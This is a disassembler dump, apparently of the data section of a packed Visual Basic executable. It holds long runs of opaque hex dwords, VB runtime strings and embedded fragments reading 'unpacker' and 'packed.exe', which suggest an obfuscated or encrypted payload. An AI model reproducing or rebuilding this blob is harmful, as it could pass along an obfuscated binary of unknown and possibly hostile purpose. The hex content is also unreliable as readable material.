		dd 0D7BCE37Ah, 0E95BFC2Dh, 13h,	42139F4Ch, 0ADAB336Ah
		dd 0C98ED68Eh, 17D880CDh, 81408BE3h, 6A93C3h, 11E900h
		dd 862B0000h, 78802DC7h, 0D3233C30h, 8B1A358Ch,	6816DD59h
		dd 0
		dd 2890F60h, 52000000h,	5861F55Ah, 18F0F60h, 0F9000000h
		dd 13E860h, 7E250000h, 188CC815h, 0CCE8B9B9h, 5C282323h
		dd 0F7B41ECFh, 0F18B5949h, 348B6161h, 0CE8B5203h, 47C6815Fh
		dd 665F3D3Ch, 0C681CA8Bh, 22F6218Fh, 81FEB70Fh,	2BC3AF6h
		dd 56D38B47h, 0A8D0Fh, 0F600000h, 82h, 61585700h, 5703048Fh
		dd 34F28156h, 5F612F64h, 0FE95Fh, 3A780000h, 8FF04E44h
		dd 0C617454Dh, 0D99B2993h, 3E883BFh, 88D0Fh, 860F0000h
		dd 2, 66486160h, 0A81EC781h, 9660F881h,	850FFFFFh, 0FFFFFF8Ah
		dd 10E8F5B6h, 67000000h, 99FA312Fh, 182C75A7h, 0B78E5C59h
		dd 0F30DA8Ah, 0B35FF6B7h, 0F6C78179h, 60000070h, 0FDAB70Fh
		dd 689h, 8D0F00h, 61000000h, 68h, 5AF78B00h, 0DE9h, 9FC79800h
		dd 7DFFD3E4h, 2805707h,	34FF05E2h, 0E857603Ah, 0Ch, 1C94F107h
		dd 0D40BA653h, 0CE572551h, 8B665A5Bh, 815961D0h, 0AD19C3E3h
		dd 0EE9810Ch, 8115C222h, 479F3CE9h, 0C181F575h,	119F0C61h
		dd 170C89F5h, 0B866DA8Bh, 0EA83C263h, 0AFFABE04h, 0FA817319h
		dd 0FFFF8FD4h, 1A850Fh,	0DE810000h, 49DBFF28h, 28E9h, 0A2421B00h
		dd 554B9EDEh, 0ECC6163Ch, 2F5534F5h, 0E9F2D780h, 0FFFFFF8Ah
		dd 0D98DD332h, 1706C969h, 8368AF91h, 0C321AF00h, 0BE8E0h
		dd 0DCEF0000h, 97738FF6h, 5B395D25h, 48A0F60h, 52000000h
		dd 585B6160h, 5B9BC081h, 0F38A0000h, 16BEB9h, 0D68B6600h
		dd 0BE66388Bh, 0EF812980h, 2E31254Ah, 0F0F781F8h, 0BB779A27h
		dd 11DA6C66h, 0C2CBF781h, 820F0C68h, 3,	89F08B66h, 815B5738h
		dd 8F3FEE8h, 0BE94Dh, 3B0E0000h, 0BE7DF403h, 1DB6E394h
		dd 0FAC08193h, 804D08F3h, 0E981BCD6h, 1, 12850Fh, 0C0BB0000h
		dd 0E9067C68h, 21h, 0AFD03369h,	0D0F38CF1h, 0CBD28166h
		dd 0FF8EE92Bh, 887FFFFh, 0B18FA444h, 0C55D590Bh, 91CFF529h
		dd 0F28D8DF7h, 6A05EE0Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 73F7C352h, 8D89FC1Fh
		dd 5E8159Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0F4C35141h, 0A1ADE4A1h,	607C6623h, 0BE0EBF05h
		dd 6EBE0B61h, 0C75C9FF5h, 0E8070585h, 66A005h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 85C71AC2h, 5E80A61h,	0
		dd 0F38330B8h, 0B9B5FF11h, 6A05E823h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0DF16C350h
		dd 9C59D852h, 10E8h, 0F41E8F00h, 62B2C6Eh, 254E891h, 633D326Eh
		dd 12E83Bh, 0A83B0000h,	6D31D76h, 8A46DD89h, 0DE59EA83h
		dd 0A693154Bh, 8A0Fh, 5E5A0000h, 81595FFh, 6A05E8h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 7762DDC3h, 0F56B0EE6h, 95FF006Ah, 5E820F9h, 6CEBC08Bh
		dd 87F9D778h, 796929C1h, 136D7120h, 0F7C896E8h,	97DF81FDh
		dd 0BE1684F1h, 0D24F7EFFh, 0B7CFEB56h, 0F138E895h, 537F2047h
		dd 0EE04D3DBh, 9EA873F2h, 8A83EA6Dh, 0C757B43Eh, 8AB97BE4h
		dd 4634100Ch, 0E8FC95B3h, 37DA6B19h, 6489EF69h,	0B516ED5Bh
		dd 8D7E4D3Eh, 7D2FC3D6h, 2EADCB77h, 66D37DB3h, 0BA4332ACh
		dd 27CD26CBh, 0BE1DA3F8h, 15CE9h, 0E705C500h, 5C3A4377h
		dd 6E755F6Dh, 6B636170h, 70007265h, 656B6361h, 78652E64h
		dd 65h,	3Ah dup(0)
		db    0
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 71h,	2Ch, 0F7h
		dd 1C2BE93Fh, 0FA680000h, 0E905EE10h, 0FFFA6FCEh, 0EE122B68h
		dd 6FC4E905h, 1168FFFAh, 0E905EE13h, 0FFFA6FBAh, 0EE13A568h
		dd 6FB0E905h, 0E968FFFAh, 0E905EE13h, 0FFFA6FA6h, 0EE148A68h
		dd 6F9CE905h, 0F668FFFAh, 0E905EE14h, 0FFFA6F92h, 0EE154068h
		dd 6F88E905h, 0A268FFFAh, 0E905EE1Bh, 0FFFA6F7Eh, 0EE1C4468h
		dd 6F74E905h, 1968FFFAh, 0E905EE1Dh, 0FFFA6F6Ah, 0EE1E3768h
		dd 6F60E905h, 0A368FFFAh, 0E905EE1Eh, 0FFFA6F56h, 0EE1F8E68h
		dd 6F4CE905h, 3668FFFAh, 0E905EE20h, 0FFFA6F42h, 0EE212368h
		dd 6F38E905h, 9868FFFAh, 0E905EE27h, 0FFFA6F2Eh, 0EE28B868h
		dd 6F24E905h, 6268FFFAh, 0E905EE29h, 0FFFA6F1Ah, 45E6DE53h
		dd 0C96A52D3h, 4EEFDF57h, 0D5765ADCh, 56F7EF63h, 2226C797h
		dd 0A0A719BAh, 2E299B3Ch, 0B9AF21C2h, 5240A445h, 0B64703B7h
		dd 4331F3A2h, 4706BA55h, 88EEA2B6h, 46CC3F2Ah, 13198B62h
		dd 0EF2E0EAFh, 0E068DAC8h, 0C2B09EFCh, 8FA4036Fh, 0C8635DF2h
		dd 9CC90714h, 0E5389E04h, 0A64AC94Ah, 0E681DF4Ch, 96E0C1B7h
		dd 0BF5A3197h, 0A2B0EE07h, 0B9AE200Eh, 0A8066C43h, 2B793150h
		dd 0EF0F6AA9h, 5Dh, 65DE5004h, 0FA391977h, 7292E5D3h, 0B002BEB4h
		dd 942F1D7Bh, 96E01845h, 6FE1CF35h, 402E05F9h, 0B03EF1A5h
		dd 0D73D9A2h, 3ED0841Fh, 52B8A2B0h, 412F1DF4h, 906757CFh
		dd 3EDB8F2Ah, 65CBA2B0h, 3EB46C07h, 63BBA2B0h, 0FE3E8C1Eh
		dd 0E7020F69h, 14000000h, 0B82698C1h, 0C725BDE8h, 0C76250DCh
		dd 9CC83813h, 2A2B9D03h, 7CF264C2h, 0CB3FB188h,	848AFCD3h
		dd 61DF3220h, 0D1E071D1h, 532A9691h, 111587EDh,	6784FADh
		dd 0DFB9C00h, 0D735999Bh, 0C8A0703Ch, 79AF029Ch, 8340B9BEh
		dd 0BB686ABDh, 7D5C0078h, 43A7AD1Fh, 0C63A30A2h, 0FFED66D8h
		dd 0ABEACAA1h, 60FB9684h, 1696E007h, 0F02F0FB0h, 6854CF41h
		dd 0B04919CDh, 359B01A2h, 6DE75947h, 0E644AA81h, 0C57F7D4Bh
		dd 6553B99Ch, 0E6877FF3h, 0BE08FC74h, 0F1D216A5h, 3C38ECC3h
		dd 0C6000019h, 46B85943h, 0CA3CDDCFh, 4FC1624Ah, 0D648E9D5h
		dd 0AC96A52h, 2D919952h, 0AF151A8Ch, 359B9C0Eh,	0B82C2294h
		dd 2AC5B317h, 0A2B64876h, 0CCB19C5Eh, 1F726044h, 5B70FFE0h
		dd 47E8468Dh, 0AA580659h, 0C3024E88h, 897DF365h, 1F5EFDE8h
		dd 0D09F800Bh, 43DE4E3Bh, 9CC8FD8Fh, 45AB1177h,	0D26DBC57h
		dd 94E796E0h, 0C371DF9h, 0AC2E8174h, 1BA2E48Ah,	93F9C11Fh
		dd 1E6921BCh, 1870A2B1h, 0DCF34169h, 0E2B70F6Ah, 0CC000000h
		dd 940F6250h, 4AC9DC63h, 0FA35E984h, 0BF259CC8h, 8579EF61h
		dd 316DC0AEh, 0ACA76152h, 0C44CBE1Ch, 6904F2E0h, 9CC85FB5h
		dd 0AE13FA5h, 2D88C91Ch, 1932E418h, 0BF5420BBh,	0F47A9CC8h
		dd 30A0E023h, 0CBDE4B96h, 0DC5EC5F2h, 7E1F85EBh, 0CBA2060Ch
		dd 0FD79ACEBh, 37A79F11h, 0A694FA60h, 0D0C046B8h, 2B026854h
		dd 31CC67C5h, 0E396E03Fh, 2E05F971h, 4FA26AC8h,	1BC4EB8Ch
		dd 1FC0264Bh, 0EBD9003Fh, 0CB865550h, 513FA59Ch, 0D2736BDFh
		dd 0D16CE860h, 9CCA8B1Dh, 35999B0Dh, 2C92F85Eh,	0D1B1BFE2h
		dd 661AF1F1h, 180Bh, 0E98A72F7h, 6D0EFE77h, 0F2937BFBh
		dd 791A8680h, 0FA9B0307h, 46CA633Bh, 0C44BBD5Eh, 4ACD3FE0h
		dd 0DD53C566h, 0F6E448E9h, 0B649A75Bh, 0E2CD8FA2h, 0BF6044CCh
		dd 42E3C74Dh, 64DE5057h, 0DD3BA178h, 1301E56Bh,	15DA7FC0h
		dd 8BE9BABCh, 0EBCC42B4h, 11C2D6D6h, 25C62C6Bh,	0F1DF0645h
		dd 0E0E57F56h, 0B289EF96h, 0B12A5F17h, 730E66A2h, 6AE5E937h
		dd 0B4AD0Fh, 50C20000h,	3813C762h, 9D039CC8h, 0C837EF3Fh
		dd 0D9746289h, 96E01856h, 89249E04h, 4795903Fh,	0A391B8F7h
		dd 5292F908h, 9C73D968h, 48697DBCh, 1F811826h, 7F33CEBCh
		dd 677162C9h, 12AD9B01h, 6B784E2Ah, 9406F45Ah, 17892A9Eh
		dd 4DA6A111h, 146A313Ah, 340B710Ch, 835A42C2h, 364B71Dh
		dd 7580912Bh, 0E80D57BDh, 26C34146h, 17259B4Fh,	54DD0000h
		dd 0D85DCF70h, 65E153F4h, 0EC66D879h, 65ED5F00h, 7D21E081h
		dd 0A344B8B0h, 25C63A31h, 0AB4CB0B3h, 2ECF3339h, 8D41DCCAh
		dd 7DA2B64Ah, 46CCD0BBh, 6CAB8B62h, 67CD3139h, 1107DE79h
		dd 0D13796E0h, 36EE4530h, 0DF5588C7h, 48AE14EBh, 183CBF5Ah
		dd 0A40A96E0h, 5CE98F2Ah, 0C6051D0Bh, 716B19Fh,	0C119A0E6h
		dd 89E7D74Fh, 0A4845BC1h, 0B5503E65h, 1E0692CDh, 8034CFBDh
		dd 681F8BE5h, 3CAE9C02h, 0BF31D236h, 1C0B5549h,	2E74930Ch
		dd 1691A357h, 0F8710000h, 74F16304h, 0F175E788h, 78FA6C0Dh
		dd 8981F394h, 0E9B57415h, 37D8CC44h, 0B95A4EC5h, 3FE0CC47h
		dd 0C26347CDh, 21D5705Eh, 9A2B64Bh, 0DE505C47h,	0A3157369h
		dd 0EEEF39ADh, 1CF1CF5Eh, 164D9145h, 0BCB50000h, 3035A748h
		dd 0BDB92BCCh, 0C43EB051h, 4DC537D8h, 25F9B859h, 7B1C8088h
		dd 0FD9E0209h, 8324888Bh, 6A71B11h, 6519B4A2h, 55A2B64Bh
		dd 46CCA893h, 6CAB8B62h, 35BC5745h, 0BF96E0E5h,	72F1226Ch
		dd 2F8DD9D0h, 0E3D31467h, 0C8FEBB21h, 0A671C162h, 22A6DA2Dh
		dd 942CE5F2h, 68C62C90h, 34224988h, 0C8C01699h,	0E45EC49Ch
		dd 0A4077F49h, 5178B779h, 3BB9C863h, 33993388h,	163D7C5Ch
		dd 0F8A58D28h, 0A2F5301Dh, 87B6B35Ah, 0A290F69Bh, 25C63A30h
		dd 0FF49BDB3h, 8E7B55F4h, 0ACAB5F36h, 56000015h, 0D648E9D3h
		dd 5ACC6D5Fh, 0DF51F2DAh, 66D87965h, 9A59FAE2h,	0BD2129C2h
		dd 3FA5AA1Ch, 0C52B2C9Eh, 48BCB224h, 0BA5543A7h, 0A2B64C06h
		dd 50412CEEh, 177567DEh, 0C837C87Ch, 825DD9Ch, 1EF9CC8h
		dd 0C847B266h, 0DE3CA29Ch, 0C8178B43h, 0CC67559Ch, 9CC83818h
		dd 0A13C9A00h, 9CC837E9h, 7BC5392Fh, 0F1CF5DAEh, 4031E5BCh
		dd 0C2000015h, 42B4554Fh, 0C638D9C3h, 4BBD5E4Eh, 0D244E5C9h
		dd 6C5665Eh, 299D9556h,	0AB111688h, 319F980Ah, 0B4281E90h
		dd 26C1AF13h, 0A2B64C72h, 5EB5A062h, 6F0AF81Fh,	96E00A44h
		dd 0FAE660D2h, 6A734A94h, 0BE95F7B7h, 14F60Ah, 9F050C00h
		dd 23898CFEh, 0A8141082h, 2F939507h, 0B0141C8Eh, 0DF8C500Fh
		dd 60D2736Bh, 0E254F5EBh, 68DA7B61h, 0F95DFEE2h, 4CBC700Bh
		dd 0EAACA2B6h, 6246CCFFh, 0AF13198Bh, 0FBE166D8h, 4AB2B224h
		dd 354CA473h, 602179EDh, 81F2FC4Ah, 43C009h, 0E4D20000h
		dd 0C82F9549h, 1313859Ch, 0FCE745ABh, 0C837EBA3h, 0C73B319Ch
		dd 0A2F18B26h, 0E75A9C6Dh, 0FF8FB165h, 0AB826EE8h, 0A279DF45h
		dd 772BC6B4h, 5F9D23B5h, 6CE79BF9h, 0F9000014h,	1AF6F6A6h
		dd 2886344Fh, 6246CC3Dh, 14AF9D8Bh, 9CC83860h, 0A484E248h
		dd 0B5503E65h, 96E01D5Ah, 5ACCBA20h, 0B51BF2DAh, 56C8B657h
		dd 2513EAD2h, 0B051D68Ah, 0F258BEA2h, 4E75B494h, 3252C560h
		dd 52B89CC8h, 0A10D097Bh, 3CAE6500h, 73F29CC8h,	0CFAE889h
		dd 0C83CBD71h, 9A02039Ch, 2F955DC3h, 3CF2A641h,	7CE29CC8h
		dd 56A9AC1Eh, 7AB464ECh, 6A41A709h, 0B88F7DF8h,	26F091E9h
		dd 3E1CBD2Fh, 981FBF0h,	0BE77FC4Fh, 0F0455345h,	19C0992h
		dd 5E1E0000h, 1C0AF81Fh, 9CD9F4C9h, 0B5131BD6h,	0E0AB3F1Ah
		dd 0BA91F796h, 0F4D85ACCh, 0E759B71Dh, 6BDD7E6Eh, 902B02EAh
		dd 0A2B0BAD8h, 1BFB86DEh, 2311B21Ah, 7148B4B1h,	8ECDAD0Bh
		dd 2AE35E7Ah, 0A0D6BFCh, 0ECDA40A6h, 0C8FE5651h, 673EA49Ch
		dd 0F57D7DF5h, 6ED43A11h, 56F1DFCDh, 9CC900A2h,	5CCE2C92h
		dd 7163E4D4h
		dd 0CB3108F4h, 3A28FF65h, 0FDB14Ch, 0C0439CC9h,	0D79F05DCh
		dd 96FCE065h, 0E39D38h,	91E99CC9h, 0BA2226F0h, 0F3D95ACCh
		dd 0B758B61Ch, 0EEDCC045h, 7280269Bh, 53B1F534h, 0A10B0A7Ch
		dd 0EFDD58CAh, 3CA0A618h, 0D4AD0565h, 3E917F4Eh, 58EE9362h
		dd 8FE745B7h, 3E36A8F2h, 1F91F7CEh, 76DCB32Bh, 3DAFA618h
		dd 0A70BE9Ch, 32340982h, 49000000h, 3DD844CCh, 9CC83889h
		dd 0CEA50B71h, 63E4D45Ch, 1053A67Dh, 24286037h,	0B289EF55h
		dd 20F68BE3h, 40ACA828h, 0D5B39DAh, 0D1098297h,	96h, 0F81F5EE6h
		dd 0A5AA1C0Ah, 0CF46E13Fh, 3F96E016h, 261402D9h, 0B057D78Bh
		dd 0FB59BFA2h, 7F208C89h, 9E98080Dh, 59BF2D26h,	939305F3h
		dd 84F6CD2Bh, 0A5190F81h, 4199683Fh, 97075A40h,	359B9C84h
		dd 7ED7EE2h, 0CE3E37A9h, 56014F2Dh, 3DC50F6Ah, 0DA000000h
		dd 7BEF1A5Eh, 942F1D83h, 9CC837D0h, 0A03B1278h,	9CC836E8h
		dd 0A3057CD4h, 62503E5Fh, 0DC12940Fh, 7FF66A47h, 0EA50B68Dh
		dd 1E2DF18Ch, 0EB5D9CC9h, 46AC836Bh, 78B3FE0h, 0A0000000h
		dd 628Ah, 48CC9F00h, 1A1B8D64h,	0D252C4B2h, 4FAD13EAh
		dd 0DA4EC0AEh, 47A50BE2h, 956C50D5h, 764D74B5h,	0C8381EDBh
		dd 0C4382E9Ch, 8BFB7BEDh, 0C8373CF0h, 60C62C9Ch, 1F62BA89h
		dd 0F2645203h, 0B2660173h, 0A29CC836h, 99FFD63Ch, 0C9EE33Bh
		dd 981F6BEh, 0C2782h, 2E229400h, 2ADF932Eh, 61C79CC8h
		dd 50B29DFBh, 1A7864DEh, 0E8D6F93Ah, 0C3E5B395h, 0C4222125h
		dd 0FE3152EDh, 0A4FC0A9Dh, 34CFBDDDh, 26736780h, 0C6A40268h
		dd 932D2278h, 363Ch, 59DC4E00h,	0C4369C73h, 1D835A4Eh
		dd 1D5ED4BFh, 0BD710CFAh, 879CC837h, 384AFE99h,	0D43A9CC8h
		dd 7148AE76h, 544AC0D6h, 0E73CB75h, 0F5C44E9Ch,	23E12B2h
		dd 5E270000h, 0D60FFA1Dh, 6246CCEBh, 60D9C477h,	0A81FB02h
		dd 21C6h, 1D5EDB00h, 0B5500FFAh, 9CC837FEh, 509B86ECh
		dd 6448CC65h, 9D030476h, 705B543Fh, 278Ah, 1D5E9F00h, 0B5500FFAh
		dd 9CC837FEh, 50A08BF1h, 0F625065h, 809DAC9h, 36EA85DCh
		dd 1E9CC8D8h, 6CE85AB8h, 705B9580h, 5BCD98A3h, 3CBCB4D4h
		dd 624EC838h, 36A896FCh, 8EF4CB31h, 0E79D5B3Bh,	0B917C666h
		dd 3CA0A618h, 7054DC4Eh, 3038AA12h, 0D9541CDFh,	39DF8A3Eh
		dd 0C1147AE5h, 399FCDA2h, 770A62D1h, 0BB35A99Fh, 77DFC349h
		dd 0ED45AF27h, 188C8294h, 0C53EB09Eh, 3C9A00D7h, 0F86044CAh
		dd 0CD811C0Ah, 0BDE539B6h, 8387F957h, 39B72FE6h, 51B91FE5h
		dd 0A3F78AE2h, 0DF5BD150h, 9103757Ah, 0EB512894h, 0B1151B8Dh
		dd 9EF64937h, 0D8382257h, 0D1A68358h, 248A46D5h, 0E8DC54C6h
		dd 46CCC111h, 806CE658h, 0F643F792h, 0CD33E539h, 0AC6A176Fh
		dd 2D9F40A4h, 0E95BC327h, 0F5914861h, 1B81E539h, 57CD4B3h
		dd 0B9A71B11h, 7DECE47h, 0F5CA7E19h, 54BAE539h,	0A41690EEh
		dd 0F94C3AAEh, 73EED9A6h, 72F86A51h, 0F351B78Eh, 98BE3B8Bh
		dd 5FD54140h, 897FF16Bh, 0B3B52715h, 9B89F14Fh,	50C22E29h
		dd 0AA10E7D5h, 6E56DA4Ch, 43F79280h, 33E53A03h,	9044DFCDh
		dd 78E53A02h, 0DD4CB412h, 141AFC85h, 0F54836B0h, 0B4A1C811h
		dd 806BC95Eh, 776246CCh, 1A5EEBD6h, 0D6C410FBh,	37994DE8h
		dd 1B819CC8h, 663DA1A9h, 60B7A200h, 0A81FB02h, 8478EF61h
		dd 60E947ADh, 4Eh, 99191F72h, 0EAF8B579h, 0F87EA897h, 0E442604Fh
		dd 0FB1A5EF9h, 6ADE5010h, 38261472h, 0FE5C40C6h, 0C837AC63h
		dd 49349A9Ch, 49CC6550h, 0D401DE57h, 0EF34FCD1h, 0C2340B71h
		dd 1F855C40h, 506853B9h, 9F7666DEh, 0DF8DB39h, 378Ah, 1A5E9F00h
		dd 625010FBh, 3825D974h, 27159CC8h, 0C837D88Ch,	0F45AC09Ch
		dd 3844FB96h, 0D1379CC8h, 65DE50E6h, 402B1977h,	13C76250h
		dd 39CC838h, 48CD3F9Dh,	705B7964h, 0C80965A3h, 603FF39Ch
		dd 54FFFFFDh, 0C837EBA3h, 5F82C39Ch, 0E4C84CBEh, 37BE720Dh
		dd 4AA29CC8h, 7767DF37h, 0FD76E8D6h, 74D2380Fh,	0AB990302h
		dd 7ACD3139h, 0C4EF1EA1h, 0BA5BB90Ch, 897796DAh, 50AE1E17h
		dd 1C198B79h, 0ECB752B0h, 0C1D2774Ch, 0FBE761D3h, 6E3C459Dh
		dd 4BD8CE20h, 239E4h, 0ECA3F900h, 0C29CC837h, 0E5DB5083h
		dd 30949C0Eh, 278DF359h, 309F9E39h, 96F96E0h, 0CB277A68h
		dd 900B17EFh, 0F074E644h, 42C3350Ch, 1411835Ah,	71E3D1A8h
		dd 0CC3209F5h, 284F8E6Eh, 0A4B89F3Ah, 54C69CC8h, 3B85EBD1h
		dd 0F1CFF152h, 9405B990h, 6E00000Eh, 0EE6001FBh, 72E48577h
		dd 0F7690AF2h, 7EF0917Dh, 0B271128Ah, 0D5C941EAh, 574DC234h
		dd 0DDC344B6h, 6044CA3Ch, 0D26D5BBFh, 0A2B6531Eh, 0CC594406h
		dd 86746246h, 0C83837EBh, 5BB91F9Ch, 3E65A484h,	76F06250h
		dd 7C912C8Ah, 4496DE09h, 4607BB56h, 89EFA2B6h, 0FFD632Bh
		dd 710D23BCh, 7D81DF71h, 3F2F8265h, 0D7726078h,	0A2B72C23h
		dd 614FAD13h, 0E68777EFh, 350CF074h, 6E52D547h,	34A89E10h
		dd 8BFCF346h, 60DF25BCh, 0C4B2B02h, 15CF7E5h, 399CCF6Dh
		dd 0B3D689D3h, 11E8F1D5h, 0DF25Dh, 0A3191000h, 27959002h
		dd 0AC101486h, 339F990Bh, 0B4282092h, 0E3885413h, 64D6776Fh
		dd 0E658F9EFh, 6CDE7F6Dh, 0FD6102E6h, 53C0740Fh, 0E6A8A2B6h
		dd 6246CCFBh, 456CAB8Bh, 1E31BC57h, 51C396E0h, 0A80EE5D9h
		dd 7B1C824Ah, 0B19F0309h, 0B44FC73Fh, 0A2B05200h, 0BE1C82E8h
		dd 0EAFE3D1Dh, 0B23E075h, 200E7470h, 3A3AB6AEh,	2F95FBD2h
		dd 0DE48E3D1h, 89CC6F4h, 774827B5h, 44CA2299h, 0BD238960h
		dd 4331975Fh, 0D85D55D1h, 1C826EE8h, 0D879DF45h, 476EE66h
		dd 4D019C00h, 3D9CCE51h, 5100B44Fh, 82E89CCEh, 6DDFB61Ch
		dd 4C2C03E7h, 0AF8E60Dh, 0B3A84EB7h, 0E3F447BFh, 0A5409E4Dh
		dd 96E7E54Ah, 0F3A74230h, 0E3A2B715h, 18CD177Dh, 36F7BE3Ch
		dd 0D1DAB5Fh, 6CE50000h, 0E065D778h, 6DE95BFCh,	0F46EE081h
		dd 7DF56708h, 7529E889h, 0AB4CB0B8h, 2DCE3239h,	0B354B8BBh
		dd 36D7CB41h, 9549E4D2h, 85A2B654h, 46CCD8C3h, 8B420B75h
		dd 0EE655B54h, 572E94FAh, 2CE07B69h, 1C9CC84Dh,	397858B6h
		dd 0E6892412h, 3496E0FFh, 0F1574DC2h, 7567DE50h, 6193E6D4h
		dd 0BF19B1E3h, 0BEB62886h, 7AEE604Eh, 0E745AB82h, 1F5E5B46h
		dd 811C0AF8h, 9CC837CDh, 0BF957BDh, 0E01EA170h,	22BDAB96h
		dd 0A2B0516Eh, 0CA92F056h, 0ED887664h, 0A2B05139h, 49B5AF21h
		dd 48A60C72h, 511ED671h, 0CD25A2B0h, 10A8F6B4h,	19070F6Ah
		dd 0B044CA7Eh, 0F654BAA2h, 0A26Dh, 49CC8200h, 1B1A8C63h
		dd 7AECDAB1h, 42B412FAh, 1705DCC0h, 35EA27C4h, 423018B3h
		dd 0C83CF3A7h, 1F7DE39Ch, 0A344A8ADh, 3AD584C3h, 9CC83D86h
		dd 0B4A2086Eh, 0E0F2C219h, 3C378A96h, 9A4EE955h, 8AA2B128h
		dd 82AED124h, 3BAD75D3h, 93F9D034h, 0C0519040h,	0D93FB242h
		dd 0B76BD08Fh, 772B02F7h, 0BFFh, 0F5960E03h, 791A8283h
		dd 0FE9F0F07h, 85268A8Ch, 6A71F13h, 52D69747h, 0D057C96Ah
		dd 5ED94BECh, 0E95FD172h, 2F054F5h, 0B655B367h,	0F6E1A3A2h
		dd 756349CCh, 3E9C0003h, 5EE99Dh, 0CCFE0000h, 3756349h
		dd 2027990Dh, 0A7875EBCh, 65534168h, 3828DC77h,	0AA109CC8h
		dd 18CAB14Ch, 52B896E0h, 0B77D7708h, 0FAAE85F7h, 0B93h
		dd 6102FA6Fh, 0E58676EFh, 6A0BF373h, 0F1927EF8h, 72138B7Fh
		dd 0CE42EBB3h, 4CC335D6h, 0C245B758h
		dd 45CB3DDEh, 6E5CC061h, 0B6561FD3h, 5A4507A2h,	6B65DE50h
		dd 3F9D03EBh, 8C6347CDh, 0C2B0141Ah, 12E9D750h,	5774EACh
		dd 55C79E02h, 4915ECD0h, 8E8690F1h, 7BE1471Eh, 0D8D2AF07h
		dd 981F38Ah, 28C4Eh, 76EE6000h,	0AA10F47Ah, 240F6DD3h
		dd 589706EEh, 25A84331h, 0CF96E018h, 42C2727Ch,	84E2F05Bh
		dd 0F7C84ABCh, 9CED52A5h, 2193F93Ch, 6553B925h,	29877FF3h
		dd 38D3C1AFh, 0A2B0C984h, 896044CAh, 0B1085B23h, 65A2DF4Ch
		dd 0BC57B51Bh, 0A69947A3h, 0E7D5FC3Bh, 5F8DD14Ch, 0ECC3298Dh
		dd 0B8A6CD0Ch, 0EED258CAh, 260DF590h, 65D78A75h, 0BF25FCE0h
		dd 45339961h, 0C8695DD3h, 0A2ECD056h, 0E84B7007h, 0A89E5229h
		dd 5A00000Ah, 0DA4CEDD7h, 5ED0715Bh, 0E355F6E6h, 6ADC7D61h
		dd 9E5DFEE6h, 0C1252DFEh, 43B9AE20h, 0C93730A2h, 4CB0B628h
		dd 0BE5947ABh, 0A2B6570Ah, 504D38FAh, 247765DEh, 549AA97Ah
		dd 0C13391FDh, 0A1815844h, 0DB4D3B62h, 6172865Bh, 12BFEB9Eh
		dd 0C5604EACh, 96DEC09Dh, 2B19076Dh, 7C53BFB9h,	0C146B816h
		dd 36955CFh, 0E027462h,	0FB59BF96h, 471E8289h, 13012867h
		dd 0CEF0E578h, 412F959Ch, 6E66E153h, 0C52B02FAh, 988F015Fh
		dd 0AD483624h, 9CCEF0F9h, 7C1D7BE1h, 0C89F050Ah, 0A2ECD056h
		dd 0F1D61705h, 0A85C33h, 200000Ah, 82F4950Fh, 6781983h
		dd 8BFD9E0Eh, 12842589h, 4605A61Eh, 695DD596h, 0EBD156C8h
		dd 715FD84Ah, 0F4E85ED0h, 6601EF53h, 0A2B657B2h, 50F5E0A2h
		dd 9B726ADEh, 0E8BF2329h, 0ECBE1C82h, 258B8CFEh, 0EF8AE84Eh
		dd 9CC83863h, 471E8289h, 936A5ED5h, 2AF889E1h, 687B065Eh
		dd 34224988h, 0B22CF346h, 447E496Ch, 9B84BE6h, 67896E1h
		dd 5DC39A02h, 0E3D137FFh, 79FDF571h, 8E4406A8h,	0BA207FFDh
		dd 0AE1CF48h, 0FD503EA4h, 0B8502140h, 0E687E550h, 0B2A0C706h
		dd 63D152C4h, 0B10414C8h, 389E04A2h, 29DFB61h, 9CCB6122h
		dd 4B0B5E4Ch, 0AF0197E0h, 0DCEFA33Eh, 84D79CCAh, 56580938h
		dd 52A50B1Ch, 9735725h,	50187660h, 0D74EC7FDh, 0EE54B85Bh
		dd 229A8E00h, 0EE64D6C4h, 218775EEh, 0A4180E80h, 0D221B35Ah
		dd 6A1EF5F1h, 913h, 0E1827AEFh,	6506F66Fh, 0EA8B73F3h
		dd 7112FE78h, 0F2930BFFh, 4EC26B33h, 0CC43B556h, 42C537D8h
		dd 0C54BBD5Eh, 0EEDC40E1h, 0B6589F53h, 0DAC587A2h, 449DFD50h
		dd 0C8588BEDh, 4C17CF6Ah, 0D75D9CC8h, 3F3DD06h,	0EE54E62Bh
		dd 72E6D4Dh, 24AC7E19h,	3AA096E1h, 8659DA4Ch, 42113BCFh
		dd 78197F08h, 0C89F0D06h, 8AA14h, 0BFB42600h, 0AE0C7249h
		dd 0F81F5EC3h, 0ABAA1C0Ah, 0A6046A41h, 0E0310C0Bh, 7664CA96h
		dd 0C79E0204h, 8478EF61h, 0FCB44F26h, 42A2B03Eh, 9204DBC1h
		dd 9B532A92h, 33E43E43h, 0B604A6DBh, 7A0F69FEh,	14Dh, 66DE508Fh
		dd 0DB399F76h, 2B02EE69h, 774EB2B9h, 0AD9B0F05h, 387024BFh
		dd 0B6AE9CC8h, 41096F46h, 34A67DDBh, 3E2CCD33h,	8D6448CCh
		dd 0DC57C927h, 0F73919F0h, 4D49E4D2h, 879CC837h, 384AFE99h
		dd 0D43A9CC8h, 37974BE6h, 197F9CC8h, 0B68DF3BBh, 858AFCEAh
		dd 1869C11Fh, 45F99482h, 8B9CC838h, 0E54B228Ah,	0E759B71Dh
		dd 6DDF806Ch, 0B4B919EAh, 68B6EBC9h, 0F0902B02h, 1C9CC87Ch
		dd 50B4BC2Eh, 5DB51379h, 8B71F224h, 99C80AEAh, 0F0562D91h
		dd 13AE9C8Ah, 9CC87E5Fh, 9583E147h, 0C87E6EFAh,	0E9C0269Ch
		dd 6B0CF077h, 0B78E72F9h, 4DBCF45h, 75A1E038h, 0F7690AFEh
		dd 0D5B58C70h, 93816F96h, 0DF1AB140h, 0B3A190DCh, 0C8646418h
